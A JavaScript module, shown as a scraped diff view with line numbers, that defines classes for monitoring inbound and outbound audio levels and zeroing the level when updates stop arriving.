const MAX_ITERATION_COUNT = 5;
|
3
|
+
const getRandom = () => {
|
4
|
+
return Math.round(Math.random() * HASH);
|
5
|
+
};
|
6
|
+
|
7
|
+
class FrequencyMonitor {
|
8
|
+
constructor () {
|
9
|
+
this.hash = getRandom();
|
10
|
+
this.hashLastPulled = getRandom();
|
11
|
+
this.consicutiveMissCount = 0;
|
12
|
+
this.curAudioLevel = 0;
|
13
|
+
}
|
14
|
+
|
15
|
+
addAudioLevel (audioLevel = 0) {
|
16
|
+
this.hash = getRandom();
|
17
|
+
this.curAudioLevel = audioLevel;
|
18
|
+
}
|
19
|
+
|
20
|
+
getAudioLevel () {
|
21
|
+
let diff = Math.abs(this.hash - this.hashLastPulled);
|
22
|
+
|
23
|
+
if (diff > 0) {
|
24
|
+
this.consicutiveMissCount = 0;
|
25
|
+
} else {
|
26
|
+
this.consicutiveMissCount += 1;
|
27
|
+
}
|
28
|
+
if (this.consicutiveMissCount > MAX_ITERATION_COUNT) {
|
29
|
+
return 0;
|
30
|
+
}
|
31
|
+
this.hashLastPulled = this.hash;
|
32
|
+
return this.curAudioLevel;
|
33
|
+
}
|
34
|
+
}
|
35
|
+
|
36
|
+
class AudioFrequencyMonitor {
|
37
|
+
constructor () {
|
38
|
+
this.inboundMonitor = new FrequencyMonitor();
|
39
|
+
this.outboundMonitor = new FrequencyMonitor();
|
40
|
+
}
|
41
|
+
|
42
|
+
addAudioLevel (audioLevel = 0, isOutbound = false) {
|
43
|
+
if (isOutbound) {
|
44
|
+
this.outboundMonitor.addAudioLevel(audioLevel);
|
45
|
+
} else {
|
46
|
+
this.inboundMonitor.addAudioLevel(audioLevel);
|
47
|
+
}
|
48
|
+
// console.warn('->addAudioLevel', this.inboundMonitor.curAudioLevel, this.outboundMonitor.curAudioLevel)
|
49
|
+
}
|
50
|
+
|
51
|
+
getAudioLevel (isOutbound = false) {
|
52
|
+
// console.warn('->getAudioLevel', this.inboundMonitor.curAudioLevel, this.outboundMonitor.curAudioLevel)
|
53
|
+
if (isOutbound) {
|
54
|
+
return this.outboundMonitor.getAudioLevel();
|
55
|
+
} else {
|
56
|
+
return this.inboundMonitor.getAudioLevel();
|
57
|
+
}
|
58
|
+
}
|
59
|
+
}
|
60
|
+
|
61
|
+
const audioFrequencyMonitor = new AudioFrequencyMonitor();
|
62
|
+
export default audioFrequencyMonitor;
|